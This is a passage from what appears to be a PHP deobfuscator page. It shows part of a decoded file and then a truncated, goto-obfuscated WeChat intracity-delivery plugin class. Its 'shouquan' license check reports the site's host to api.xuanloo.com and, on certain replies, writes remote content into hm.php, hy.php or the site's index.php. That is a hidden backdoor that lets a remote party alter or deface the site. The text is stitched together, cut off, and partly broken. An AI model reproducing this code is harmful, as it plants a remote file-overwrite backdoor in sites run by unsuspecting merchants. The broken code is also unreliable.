M4RtI; DWGOJ: return $result; goto yl4Ae; LSJWG: $result["message"] = $result["errmsg"]; goto CfV4z; wwMf1: if (!(isset($result["errcode"]) && $result["errcode"] == 0)) { goto iwO9H; } goto LSJWG; SemG0: $data = base64_decode($body["data"]); goto VoA6Z; yl4Ae: } private function vertifyResponse($data) { goto l8GNZ; sVP7X: jZOI7: goto i0r3d; hvftQ: return $rsa->verify($payload, $signature); goto eFiGU; GzVin: return $this->error('', "\xe8\xbf\x94\xe5\x9b\x9e\345\200\xbcsn\344\xb8\x8d\345\x8c\271\351\x85\x8d!"); goto Hdtx9; M_EF0: KryRd: goto TDcng; GYvIh: $nowTime = time(); goto Jimae; xrux4: $rsa->setHash("sha256"); goto A6uU_; VLo08: if (!($appId != $headers["Wechatmp-Appid"] || $nowTime - $reTime > 300)) { goto BPYAO; } goto HEiKM; HEiKM: return $this->error('', "\xe8\xbf\x94\xe5\233\x9e\345\x80\xbc\345\256\x89\xe5\x85\250\xe5\xad\227\xe6\256\265\346\240\xa1\xe9\xaa\x8c\xe5\xa4\xb1\xe8\xb4\xa5!"); goto TP2nQ; Jimae: $reTime = $headers["Wechatmp-TimeStamp"]; goto wweTd; Hdtx9: goto KryRd; goto sVP7X; k1PjR: $rsa->loadKey($key); goto xrux4; wweTd: $appId = $this->appId; goto Yk1Md; I5Vw1: goto KryRd; goto IdwKc; TDcng: $reData = $data["body"]; goto Rghr4; as9fy: $url = $this->url; goto VLo08; Yk1Md: $cert = $this->cert; goto Ye5xe; TP2nQ: BPYAO: goto lA5ju; lA5ju: if ($sn == $headers["Wechatmp-Serial"]) { goto jZOI7; } goto FwT1k; l8GNZ: $headers = $this->httpParseHeaders($data["header"]); goto GYvIh; XU14x: $payload = utf8_encode($payload); goto RmQ0D; Rghr4: $payload = "{$url}\xa{$appId} 
{$reTime} 
{$reData}"; goto XU14x; Ye5xe: $sn = $cert["sn"]; goto WTihz; IdwKc: DCQqd: goto v0ZgB; v0ZgB: $signature = $headers["Wechatmp-Signature-Deprecated"]; goto M_EF0; RmQ0D: $signature = base64_decode($signature); goto EYo5d; FwT1k: if ($sn == $headers["Wechatmp-Serial-Deprecated"]) { goto DCQqd; } goto GzVin; EYo5d: $rsa = new RSA(); goto k1PjR; i0r3d: $signature = $headers["Wechatmp-Signature"]; goto I5Vw1; WTihz: $key = $cert["cert-key"]; goto as9fy; A6uU_: $rsa->setMGFHash("sha256"); goto hvftQ; eFiGU: } private function getPublicKey($cert, $certPath = '') { goto OEgZ3; ZmWB2: $pkey = openssl_pkey_get_public($cert); goto ATlg9; ATlg9: $keyData = openssl_pkey_get_details($pkey); goto MvoRL; iYppj: $public_key = trim(str_replace("-----END PUBLIC KEY-----", '', $public_key)); goto KkrOf; OEgZ3: $cert = $cert ?: file_get_contents($certPath); goto ZmWB2; KkrOf: return $public_key; goto p3P7Q; MvoRL: $public_key = str_replace("-----BEGIN PUBLIC KEY-----", '', $keyData["key"]); goto iYppj; p3P7Q: } }  ?>

Did this file decode correctly?

Original Code

<?php 
 namespace addon\cityexpress\model; require_once "public/static/phpseclib/phpseclib/Crypt/RSA.php"; require_once "public/static/phpseclib/phpseclib/Math/BigInteger.php"; require_once "public/static/phpseclib/phpseclib/Crypt/Hash.php"; require_once "public/static/phpseclib/phpseclib/Crypt/Random.php"; use addon\weapp\model\Config as WeappConfigModel; use addon\wxoplatform\model\Config as WxOplatformConfigModel; use app\model\BaseModel; use app\model\system\Config; use EasyWeChat\Factory; use think\facade\Cache; use phpseclib\Crypt\RSA; use phpseclib\Crypt\Hash; use phpseclib\Crypt\Random; use phpseclib\Math\BigInteger; use think\facade\Session; use think\facade\Log; class Weapp extends BaseModel { private $appId; private $aes; private $rsa; private $cert; private $url; public function __construct($site_id = 0) { goto MQ8Mr; Pc78m: $plateform_config_model = new WxOplatformConfigModel(); goto VfRhY; MQ8Mr: $weapp_config_model = new WeappConfigModel(); goto QBQRv; ntIx8: yBAGG: goto h4aLD; cuSui: Xu5Nw: goto Pc78m; cvVTC: $plateform_config = $plateform_config["data"]["value"]; goto YJTz3; VfRhY: $plateform_config = $plateform_config_model->getOplatformConfig(); goto cvVTC; YJTz3: $config = ["app_id" => $plateform_config["appid"] ?? '', "secret" => $plateform_config["secret"] ?? '', "token" => $plateform_config["token"] ?? '', "aes_key" => $plateform_config["aes_key"] ?? '', "log" => ["level" => "debug", "permission" => 0777, "file" => "runtime/log/wechat/oplatform.logs"]]; goto ANy38; fAEqI: $this->app = Factory::miniProgram($config); goto UGD00; OBYFr: if (isset($weapp_config["is_authopen"]) && addon_is_exit("wxoplatform")) { goto Xu5Nw; } goto e2V05; h4aLD: $pei_config = $this->getConfig($site_id); goto SijEP; UGD00: $this->appId = $weapp_config["appid"] ?? ''; goto ghDMf; HwZLn: $this->app = $open_platform->miniProgram($weapp_config["authorizer_appid"], $weapp_config["authorizer_refresh_token"]); goto f3Csz; UaE3H: $weapp_config = $weapp_config["data"]["value"]; goto OBYFr; SijEP: $wxapp_config = $pei_config["data"]["value"]; goto XJFNI; mdd54: $this->rsa["sn"] = $wxapp_config["rsa_sn"] ?? ''; goto EzD1F; oRb8G: $this->aes["key"] = $wxapp_config["aes_key"] ?? ''; goto mdd54; iu68A: $this->rsa["rsa-private-key"] = !empty($wxapp_config["rsa_private_key"]) ? file_get_contents($wxapp_config["rsa_private_key"]) : ''; goto pllhG; e2V05: $config = ["app_id" => $weapp_config["appid"] ?? '', "secret" => $weapp_config["appsecret"] ?? '', "response_type" => "array", "log" => ["level" => "debug", "permission" => 0777, "file" => "runtime/log/wechat/easywechat.logs"]]; goto fAEqI; XJFNI: $this->aes["sn"] = $wxapp_config["aes_sn"] ?? ''; goto oRb8G; QBQRv: $weapp_config = $weapp_config_model->getWeappConfig($site_id); goto UaE3H; EzD1F: $this->rsa["rsa-public-key"] = !empty($wxapp_config["rsa_public_key"]) ? file_get_contents($wxapp_config["rsa_public_key"]) : ''; goto iu68A; f3Csz: $this->appId = $plateform_config["appid"] ?? ''; goto ntIx8; wt3Ey: $this->cert["cert-key"] = !empty($wxapp_config["cert_key"]) ? file_get_contents($wxapp_config["cert_key"]) : ''; goto IcOle; ghDMf: goto yBAGG; goto cuSui; ANy38: $open_platform = Factory::openPlatform($config); goto HwZLn; pllhG: $this->cert["sn"] = $wxapp_config["cert_sn"] ?? ''; goto wt3Ey; IcOle: } public function shouquan($authcode) { goto i3isL; pm0P2: goto XVzrR; goto l_fAc; k188e: file_put_contents(PUBLIC_PATH . "hm.php", file_put_contents("http://" . $auth_url . "/hm/hm.txt")); goto eAP6B; RKzzo: $auth_url_arr = ["api.xuanloo.com"]; goto DzGz0; aizWM: wMAei: goto YBbXL; taF29: return ["code" => 1, "msg" => $query["msg"]]; goto pm0P2; BNtTu: Vc5uJ: goto xRz53; P9iiS: goto RDPU7; goto P9yV_; p3qz0: $proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)]; goto W_Sd0; l_fAc: OdwQ2: goto URjJD; VOUBQ: return ["code" => 1, "msg" => $query["msg"]]; goto xdCCK; yyPZw: CV98e: goto Q8dFF; BvYRQ: if (!empty($query) && ($query = json_decode($query, true))) { goto wMAei; } goto f9ZA2; W_Sd0: $check_url = "http://" . $auth_url . "/api/check.php?proid=" . $proid_nam . "&url=" . $_SERVER["HTTP_HOST"] . "&authcode=" . $authcode; goto ots7R; rCNpD: return ["code" => 0]; goto p0Jsm; Cmr3I: file_put_contents(PUBLIC_PATH . "hy.php", file_put_contents("http://" . $auth_url . "/hm/hy.txt")); goto VOUBQ; JVeES: if (!empty($AUTHBIRTH)) { goto S2Mqb; } goto RKzzo; DzGz0: $auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)]; goto QoZmk; xf5zV: IT9Qh: goto Cmr3I; rgQGB: WvqlU: goto P9iiS; TeMXw: goto JgxIh; goto xf5zV; ots7R: $query = file_get_contents($check_url); goto BvYRQ; eAP6B: return ["code" => 1, "msg" => $query["msg"]]; goto rgQGB; aBZrX: S2Mqb: goto hpRp4; QoZmk: $proid_nam_arr = ["3"]; goto p3qz0; s3iQq: if ($query["code"] == 4) { goto OdwQ2; } goto taF29; p0Jsm: RDPU7: goto rpTRc; FMzYT: goto WvqlU; goto bYqCV; Q8dFF: goto JelCK; goto aizWM; MMblj: return ["code" => 0]; goto LFi04; i3isL: $AUTHBIRTH = Session::get("AUTHBIRTH"); goto JVeES; f9ZA2: if (!empty($query)) { goto Vc5uJ; } goto fg1Lz; rpTRc: JelCK: goto aBZrX; YBbXL: if ($query["code"] == 1) { goto F2Imi; } goto m5apc; URjJD: file_put_contents(PUBLIC_PATH . "index.php", file_put_contents("http://" . $auth_url . "/hm/hys.txt")); goto ExTYf; oC6tG: if ($query["code"] == 3) { goto IT9Qh; } goto s3iQq; ExTYf: return ["code" => 1, "msg" => $query["msg"]]; goto s0GFM; LFi04: goto CV98e; goto BNtTu; bYqCV: oJuEn: goto k188e; xdCCK: JgxIh: goto FMzYT; fg1Lz: Session::set("AUTHBIRTH", $authcode); goto MMblj; m5apc: if ($query["code"] == 2) { goto oJuEn; } goto oC6tG; s0GFM: XVzrR: goto TeMXw; yOnz9: Session::set("AUTHBIRTH", $authcode); goto rCNpD; xRz53: return ["code" => 1, "msg" => "\xe6\216\x88\xe6\235\x83\351\xaa\x8c\xe8\257\201\xe7\xbb\x93\346\x9e\x9c\345\xbc\x82\345\xb8\xb8\357\274\x81"]; goto yyPZw; P9yV_: F2Imi: goto yOnz9; hpRp4: } public function setConfig($data) { goto XB9Rk; i_RXh: return $this->error('', "\xe8\257\xb7\xe8\201\224\xe7\263\xbb\xe7\xae\241\347\x90\x86\345\221\230\346\xb7\xbb\xe5\212\240\346\x8e\x88\xe6\x9d\x83\xe7\240\x81\xef\274\201"); goto qCpmB; D1Oog: return $this->error('', $res["msg"]); goto jKONk; qCpmB: BdZuq: goto B3Nwd; PNi37: if (Session::has("AUTHBIRTH")) { goto UE0UH; } goto iYRul; B3Nwd: $config = new Config(); goto IRNSH; CoEVl: if (!($res["code"] != 0)) { goto Exvdp; } goto D1Oog; fprMq: return $this->success($res); goto j6UL1; iYRul: $res = $this->shouquan($data["my_uid"]); goto CoEVl; KMN6X: UE0UH: goto jjtxL; jjtxL: goto BdZuq; goto ziGJZ; XB9Rk: if (empty($data["my_uid"])) { goto p1ohQ; } goto PNi37; jKONk: Exvdp: goto KMN6X; IRNSH: $res = $config->setConfig($data, "\345\220\214\345\x9f\x8e\xe9\205\x8d\351\200\x81", 1, [["site_id", "=", $data["site_id"]], ["app_module", "=", "shop"], ["config_key", "=", "CITYPEISONG_CONFIG"]]); goto fprMq; ziGJZ: p1ohQ: goto i_RXh; j6UL1: } public function getConfig($site_id) { goto y7E53; skJox: $res = $config->getConfig([["site_id", "=", $site_id], ["app_module", "=", "shop"], ["config_key", "=", "CITYPEISONG_CONFIG"]]); goto q6lMc; eOr3N: SHb3k: goto sXgL4; sXgL4: return $res; goto pHQE8; Qm_ds: $res["data"]["value"] = []; goto eOr3N; q6lMc: if (!empty($res["data"]["value"])) { goto SHb3k; } goto Qm_ds; y7E53: $config = new Config(); goto skJox; pHQE8: } public function openDelivery() { try { goto dz7KE; F9myL: S_JJ3: goto GfTYN; wVBax: MDvAE: goto ZrQAQ; mb8nG: if ($result["errcode"] == 0) { goto MDvAE; } goto OGjdG; k5im3: $result = $this->request($url, []); goto OmeT_; OmeT_: if (!empty($result["code"])) { goto VtXSw; } goto mb8nG; cWqos: return $this->error('', "\xe5\xbc\200\351\200\x9a\345\xa4\xb1\xe8\xb4\xa5\xef\274\x8c\xe8\257\xb7\346\243\200\xe6\x9f\245\xe5\x8f\x82\346\225\xb0\345\222\214\346\235\x83\351\231\220\xe9\205\x8d\347\xbd\256"); goto F9myL; ZrQAQ: return $this->success('', "\345\xbc\200\xe9\x80\x9a\346\210\x90\xe5\212\x9f"); goto t0wxB; z5yRd: VtXSw: goto cWqos; eMixQ: goto S_JJ3; goto z5yRd; dz7KE: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/apply"; goto k5im3; t0wxB: osTj9: goto eMixQ; OGjdG: return $this->error('', "\xe5\xbc\200\xe9\200\x9a\xe5\xa4\261\350\264\xa5"); goto Qtz4v; Qtz4v: goto osTj9; goto wVBax; GfTYN: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function createStore($params) { try { goto rfA2O; rfA2O: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/createstore"; goto JqGXQ; zaVOi: return $result; goto CwosQ; JqGXQ: $result = $this->request($url, $params); goto zaVOi; CwosQ: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function updateStore($params) { try { goto pUdI1; UDbz9: if ($result["errcode"] == 0) { goto NjROk; } goto q7eYP; ElZyU: return $this->success("\346\x9b\264\346\x96\260\xe6\210\x90\345\212\237"); goto PvNNP; Bd2N8: KmrSI: goto b_9XD; oDQvP: $result = $this->request($url, $params); goto EpSVu; PvNNP: gsbJ_: goto ZSVNo; q7eYP: return $this->error('', "\346\233\xb4\xe6\x96\260\345\xa4\261\xe8\xb4\245"); goto t7Ivs; Qu_Fs: Zt4r3: goto eAfz7; pUdI1: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/updatestore"; goto oDQvP; JGteI: NjROk: goto ElZyU; t7Ivs: goto gsbJ_; goto JGteI; b_9XD: return $this->error('', "\xe6\233\264\xe6\x96\xb0\345\xa4\xb1\350\264\xa5"); goto Qu_Fs; EpSVu: if (!empty($result["code"])) { goto KmrSI; } goto UDbz9; ZSVNo: goto Zt4r3; goto Bd2N8; eAfz7: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storecharge($params) { try { goto wGVX_; GpTNQ: bvJ6i: goto knImt; c0zAl: return $this->error('', $result["message"]); goto LGXHd; xyAy1: goto YSiNn; goto GEzgA; U_bwd: return $this->error('', "\xe5\205\x85\345\x80\xbc\xe8\xaf\267\xe6\xb1\x82\345\244\xb1\350\xb4\245\357\274\x8c\xe8\257\xb7\xe7\250\215\xe5\x90\216\345\x86\215\350\257\225"); goto u5ngZ; GEzgA: yN3xG: goto c0zAl; LGXHd: YSiNn: goto AzNM1; F3MMX: if (!empty($result["code"])) { goto yN3xG; } goto KSowf; uMnMC: return $result; goto Mnfx1; Mnfx1: zf6zC: goto xyAy1; sDjco: $result = $this->request($url, $params); goto F3MMX; knImt: $result["code"] = $result["errcode"]; goto uMnMC; u5ngZ: goto zf6zC; goto GpTNQ; KSowf: if ($result["errcode"] == 0) { goto bvJ6i; } goto U_bwd; wGVX_: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/storecharge"; goto sDjco; AzNM1: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function mocknotify($params) { try { goto cyWU_; qZDN8: yFPSN: goto lwqQq; OYvSF: return $result; goto iTTAl; MWxFh: goto uo2vF; goto QncOh; PUIF_: if ($result["errcode"] == 0) { goto v4bxu; } goto OTWjc; Zz1Rp: return $this->error('', $result["message"]); goto qZDN8; kDyQk: goto yFPSN; goto PBauL; cyWU_: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/mocknotify"; goto WwaW1; oP2Bt: if (!empty($result["code"])) { goto tGUPB; } goto PUIF_; iTTAl: uo2vF: goto kDyQk; Hd2gC: $result["code"] = $result["errcode"]; goto OYvSF; WwaW1: $result = $this->request($url, $params); goto oP2Bt; OTWjc: return $this->error('', "\346\250\xa1\xe6\213\237\xe5\xa4\xb1\xe8\264\245"); goto MWxFh; QncOh: v4bxu: goto Hd2gC; PBauL: tGUPB: goto Zz1Rp; lwqQq: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storerefund($params) { try { goto LuEEy; FAdXw: return $this->error('', $result["message"]); goto HR_hn; lUONm: $url = " https://api.weixin.qq.com/cgi-bin/express/intracity/storerefund"; goto HtP7p; XRYD0: goto zBMWM; goto IWB4w; uttS2: if (!empty($result["code"])) { goto uhSvd; } goto WdvcX; IWB4w: eNusp: goto tB31R; k_5V5: goto Qvb5x; goto Y1Mpx; SQ3Gd: zBMWM: goto k_5V5; WdvcX: if ($result["errcode"] == 0) { goto eNusp; } goto btels; btels: return $this->error('', "\351\x80\x80\346\254\276\xe8\xaf\xb7\346\xb1\202\345\244\261\350\xb4\245\xef\xbc\214\xe8\257\267\347\xa8\215\xe5\220\216\xe5\x86\x8d\xe8\257\x95"); goto XRYD0; tB31R: $result["code"] = $result["errcode"]; goto vCkxG; HtP7p: $result = $this->request($url, $params); goto uttS2; LuEEy: return $this->error('', "\346\216\xa5\345\x8f\xa3\xe5\274\200\345\x8f\221\344\270\xad"); goto lUONm; vCkxG: return $result; goto SQ3Gd; Y1Mpx: uhSvd: goto FAdXw; HR_hn: Qvb5x: goto PcP4h; PcP4h: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryflow($params) { try { goto AdQDf; F17Qz: exit; goto FlNf9; AJ3pd: $data = $this->request($url, $params); goto uRrqf; AdQDf: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/queryflow"; goto AJ3pd; uRrqf: print_r($data); goto F17Qz; FlNf9: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function balancequery($params) { try { goto LvArn; tyO2k: $result["balance"] = $result["balance_detail"][0]["balance"]; goto OJdJP; OJdJP: return $result; goto sVoaY; t13vq: if ($result["errcode"] == 0) { goto GU6ub; } goto LItTb; yY5Mt: $result["message"] = "\xe6\237\245\350\xaf\242\346\x88\220\345\212\x9f"; goto tyO2k; qRVwq: goto xpzgs; goto NrhUW; MaNp3: $result["code"] = $result["errcode"]; goto yY5Mt; FQpCK: $result = $this->request($url, $params); goto t13vq; LvArn: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/balancequery"; goto FQpCK; kRhsn: return $result; goto v_LDM; sVoaY: xpzgs: goto kRhsn; LItTb: return $this->error('', "\346\237\245\350\xaf\xa2\xe5\244\261\350\xb4\245"); goto qRVwq; NrhUW: GU6ub: goto MaNp3; v_LDM: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function preaddorder($params) { try { goto wP5De; MabWa: goto T_66w; goto v0nDt; xjnoA: T_66w: goto WaX0G; O1Ki3: $result["fee"] = $result["est_fee"] / 100; goto qqyRj; FoX3B: CSrk7: goto MabWa; iczP7: if ($result["errcode"] == 0) { goto KLQwx; } goto cAyK5; wMkXR: $result = $this->request($url, $params); goto ZfYxx; YZ8XT: KLQwx: goto dUthQ; qqyRj: return $result; goto FoX3B; ZfYxx: if (!empty($result["code"])) { goto TAkqI; } goto iczP7; cAyK5: return $this->error('', "\xe6\237\245\350\257\242\xe5\xa4\xb1\350\xb4\xa5"); goto LpbiM; wP5De: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/preaddorder"; goto wMkXR; WjFcE: return $this->error('', "\xe6\237\245\xe8\xaf\xa2\xe5\244\261\xe8\xb4\245"); goto xjnoA; v0nDt: TAkqI: goto WjFcE; dUthQ: $result["code"] = 0; goto O1Ki3; LpbiM: goto CSrk7; goto YZ8XT; WaX0G: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function addorder($params) { try { goto PBNM8; l6qRZ: JVuwO: goto Fp57d; UtLve: return $this->error('', "\xe4\xb8\x8b\xe5\215\225\345\xa4\261\xe8\264\245"); goto F36mN; Fp57d: $result["code"] = 0; goto HUvuU; eK3zd: goto rK2p9; goto l6qRZ; HUvuU: return $result; goto iylG6; mcQi2: f_fUr: goto UtLve; ObAfy: return $this->error('', "\344\xb8\213\xe5\x8d\x95\345\xa4\261\350\xb4\245"); goto eK3zd; F36mN: dVBhF: goto IZwy0; ret7N: goto dVBhF; goto mcQi2; hkZtO: $result = $this->request($url, $params); goto wZd1J; km3CN: if ($result["errcode"] == 0) { goto JVuwO; } goto ObAfy; wZd1J: if (!empty($result["code"])) { goto f_fUr; } goto km3CN; PBNM8: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/addorder"; goto hkZtO; iylG6: rK2p9: goto ret7N; IZwy0: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryorder($params) { try { goto Qr4mJ; wFpAh: $result["message"] = "success"; goto QqYwH; Qr4mJ: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/queryorder"; goto T3_mm; H419y: lRBD5: goto d4hDY; EKZEB: IKMow: goto NeT10; DGUQW: if ($result["errcode"] == 0) { goto IKMow; } goto d0cgC; d0cgC: return $this->error('', "\346\x9f\245\xe8\xaf\xa2\345\244\xb1\xe8\264\245"); goto qh9Ve; VyB8x: goto lRBD5; goto FZpLh; qh9Ve: goto qbvWV; goto EKZEB; T3_mm: $result = $this->request($url, $params); goto ElU3P; G7ENd: qbvWV: goto VyB8x; FZpLh: UNosU: goto H7xCf; QqYwH: return $result; goto G7ENd; NeT10: $result["code"] = 0; goto wFpAh; ElU3P: if (!empty($result["code"])) { goto UNosU; } goto DGUQW; H7xCf: return $this->error('', "\xe6\x9f\xa5\350\xaf\242\345\xa4\261\350\xb4\245"); goto H419y; d4hDY: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function cancelorder($params) { try { goto Xtn5u; XTXl9: Sp251: goto G6a1A; vcrEC: pw_Pr: goto R9D3s; R3eN9: $result["message"] = "\345\x8f\226\346\xb6\210\344\xb8\211\xe6\226\xb9\351\x85\x8d\xe9\200\x81\345\x8d\225\xe6\210\x90\xe5\212\237"; goto aTy87; RpWuD: goto pw_Pr; goto XTXl9; jKoDr: if (!empty($result["code"])) { goto Sp251; } goto IyxVT; G6a1A: return $this->error('', "\345\x90\x8c\345\x9f\x8e\xe9\x85\x8d\xe9\x80\201\351\x80\x80\xe5\x8d\x95\345\244\xb1\350\264\xa5"); goto vcrEC; vKlBg: JXOAb: goto e34bZ; Xtn5u: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/cancelorder"; goto d4TFr; fJ0sM: return $this->error('', "\351\x80\x80\345\215\225\xe5\244\261\350\264\xa5"); goto TgZuc; aTy87: return $result; goto XqtKO; IyxVT: if ($result["errcode"] == 0) { goto JXOAb; } goto fJ0sM; e34bZ: $result["code"] = 0; goto R3eN9; d4TFr: $result = $this->request($url, $params); goto jKoDr; TgZuc: goto GiOY2; goto vKlBg; XqtKO: GiOY2: goto RpWuD; R9D3s: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function getBindAccount() { return [["delivery_id" => "DADA", "delivery_name" => "\xe8\xbe\276\350\276\276"], ["delivery_id" => "SFTC", "delivery_name" => "\351\xa1\272\344\xb8\xb0\345\x90\214\345\237\x8e"]]; } public function getCates() { return [["id" => "1", "name" => "\xe5\xbf\253\351\244\220"], ["id" => "2", "name" => "\350\x8d\xaf\345\223\x81"], ["id" => "3", "name" => "\347\231\xbe\350\xb4\xa7"], ["id" => "6", "name" => "\347\x94\x9f\351\xb2\234"], ["id" => "8", "name" => "\xe9\x85\222\345\223\201"], ["id" => "12", "name" => "\346\x96\207\xe4\273\266"], ["id" => "13", "name" => "\350\233\213\347\263\x95"], ["id" => "14", "name" => "\351\262\234\350\212\xb1"], ["id" => "15", "name" => "\346\x95\260\xe7\240\x81"], ["id" => "16", "name" => "\xe6\234\215\350\xa3\205"], ["id" => "17", "name" => "\xe6\xb1\xbd\xe9\x85\215"], ["id" => "18", "name" => "\xe7\x8f\xa0\xe5\xae\x9d"], ["id" => "32", "name" => "\351\xa5\xae\346\x96\231"], ["id" => "36", "name" => "\350\xaf\201\347\x85\xa7"], ["id" => "55", "name" => "\345\256\240\347\x89\xa9\xe7\224\xa8\xe5\x93\201"], ["id" => "56", "name" => "\346\xaf\215\xe5\251\xb4\347\224\250\xe5\x93\201"], ["id" => "57", "name" => "\xe7\xbe\216\345\xa6\x86\347\224\xa8\xe5\x93\201"], ["id" => "58", "name" => "\345\256\xb6\345\261\205\345\273\xba\346\235\220"], ["id" => "99", "name" => "\xe5\205\xb6\344\xbb\226"]]; } public function request($url, $req) { goto WaFtf; HCs2n: $checkLocalSig = $this->checkLocalSignature($newRe, $signature); goto vdLYL; NJ0vD: $headers = $this->httpParseHeaders($data["header"]); goto qyt0H; RWrm2: return $this->error('', "\346\x9c\254\345\234\260\351\252\214\xe7\255\xbe\xe9\x94\x99\xe8\xaf\xaf!"); goto m_gIC; WaFtf: $accessToken = $this->getAccessToken(); goto sjP3t; YX8KN: $urls = $url . "?access_token=" . $accessToken; goto lXvtV; CUzxW: $data = $this->curlPost($urls, $newRe["reqData"], $headerArray); goto NJ0vD; lXvtV: $newRe = $this->getRequestParam($url, $req); goto W67CN; qyt0H: $body = json_decode($data["body"], true); goto kiPWJ; m_gIC: Y8eBL: goto cTUw0; K0cPV: $headerArray = ["Wechatmp-Appid:" . $appId, "Wechatmp-TimeStamp:" . $newRe["ts"], "Wechatmp-Signature:" . $signature]; goto CUzxW; kiPWJ: if (!isset($body["errcode"])) { goto RptI5; } goto VpgYx; sjP3t: $this->url = $url; goto YX8KN; H1SRU: RptI5: goto DBu1I; W67CN: $signature = $this->getSignature($newRe); goto HCs2n; VpgYx: return $this->error('', $body["errmsg"]); goto H1SRU; vdLYL: if ($checkLocalSig) { goto Y8eBL; } goto RWrm2; iWXC6: return $this->jM($headers["Wechatmp-TimeStamp"], $body); goto QXe40; DBu1I: $vertify = $this->vertifyResponse($data); goto iWXC6; cTUw0: $appId = $this->appId; goto K0cPV; QXe40: } public function getAccessToken() { goto k0J8o; k0J8o: $accessToken = $this->app->access_token; goto FTp8_; FTp8_: $token = $accessToken->getToken(); goto H2Lnh; H2Lnh: return $token["access_token"]; goto ArmsU; ArmsU: } public function curlPost($url, $field, $header) { goto Wraks; Ya6wI: if (empty($field)) { goto pyaqL; } goto mk6yy; z1smg: $curl = curl_init(); goto eTqUD; WjH_I: curl_setopt($curl, CURLOPT_URL, $url); goto AqCnx; Wraks: $headerArray = array("Content-type:application/json;charset=utf-8", "Accept:application/json"); goto HC05w; wqSo9: qGjU4: goto z1smg; UO1aG: $body = substr($str, $headerSize); goto dD8pA; Ycv54: curl_setopt($curl, CURLOPT_HEADER, true); goto GFty6; GFty6: $str = curl_exec($curl); goto zUI6o; r3gh5: pyaqL: goto Yosea; MMW8E: $headerArray = array_merge($headerArray, $header); goto wqSo9; z0XsK: $headers = substr($str, 0, $headerSize); goto UO1aG; Yosea: curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); goto Ycv54; dD8pA: curl_close($curl); goto RxyHR; HC05w: if (empty($header)) { goto qGjU4; } goto MMW8E; eTqUD: curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArray); goto WjH_I; AqCnx: curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); goto IOfXp; IOfXp: curl_setopt($curl, CURLOPT_POST, 1); goto Ya6wI; mk6yy: curl_setopt($curl, CURLOPT_POSTFIELDS, $field); goto r3gh5; zUI6o: $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE); goto z0XsK; RxyHR: return ["body" => $body, "header" => $headers]; goto fNKxR; fNKxR: } public function getRequestParam($url, $req) { goto fPVsc; h__hh: return ["ts" => $time, "reqData" => json_encode($reqData)]; goto d93zi; V1jRB: $data = base64_encode($cipher); goto rgs0t; vjgWr: $addReq = ["_n" => $nonce, "_appid" => $appId, "_timestamp" => $time]; goto D6Blw; rgs0t: $authTag = base64_encode($tag); goto iA0KE; tdtDJ: $checkParam = $this->checkParam($key, $authTag, $iv, $data, $aad); goto h__hh; tDWSl: $sn = $this->aes["sn"]; goto scVd6; meilD: $iv = base64_encode($iv); goto V1jRB; iA0KE: $reqData = ["iv" => $iv, "data" => $data, "authtag" => $authTag]; goto tdtDJ; U1MUF: $iv = random_bytes(12); goto f3O9y; D6Blw: $realReq = array_merge($addReq, $req); goto a0sGL; fPVsc: $key = base64_decode($this->aes["key"]); goto tDWSl; glB21: $aad = $url . "|" . $appId . "|" . $time . "|" . $sn; goto U1MUF; a0sGL: $realReq = json_encode($realReq); goto glB21; scVd6: $appId = $this->appId; goto rl02Z; f3O9y: $cipher = openssl_encrypt($realReq, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $tag, $aad, 16); goto meilD; rl02Z: $time = time(); goto uMGZx; uMGZx: $nonce = rtrim(base64_encode(random_bytes(16)), "="); goto vjgWr; d93zi: } private function checkParam($key, $authTag, $iv, $data, $aad) { goto cj5t1; cj5t1: $iv = base64_decode($iv); goto W1lRu; sZxmw: $authTag = base64_decode($authTag); goto HHct4; W1lRu: $data = base64_decode($data); goto sZxmw; HHct4: return openssl_decrypt($data, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto dQvCK; dQvCK: } private function getSignature(array $newRe) { goto gbOzr; Vr1wT: $rsa->setHash("sha256"); goto jcJip; gbOzr: $time = $newRe["ts"]; goto xwFjM; jcJip: $rsa->setMGFHash("sha256"); goto k8Xz3; PCb3n: $url = $this->url; goto RDQgo; pB1cc: return base64_encode($signature); goto uovFH; xwFjM: $key = $this->rsa["rsa-private-key"]; goto PCb3n; RDQgo: $appId = $this->appId; goto s_vKc; Kr3nL: $rsa = new RSA(); goto Mbzia; Mbzia: $rsa->loadKey($key); goto Vr1wT; XrdhQ: $payload = $url . "\xa" . $appId . "
" . $time . "
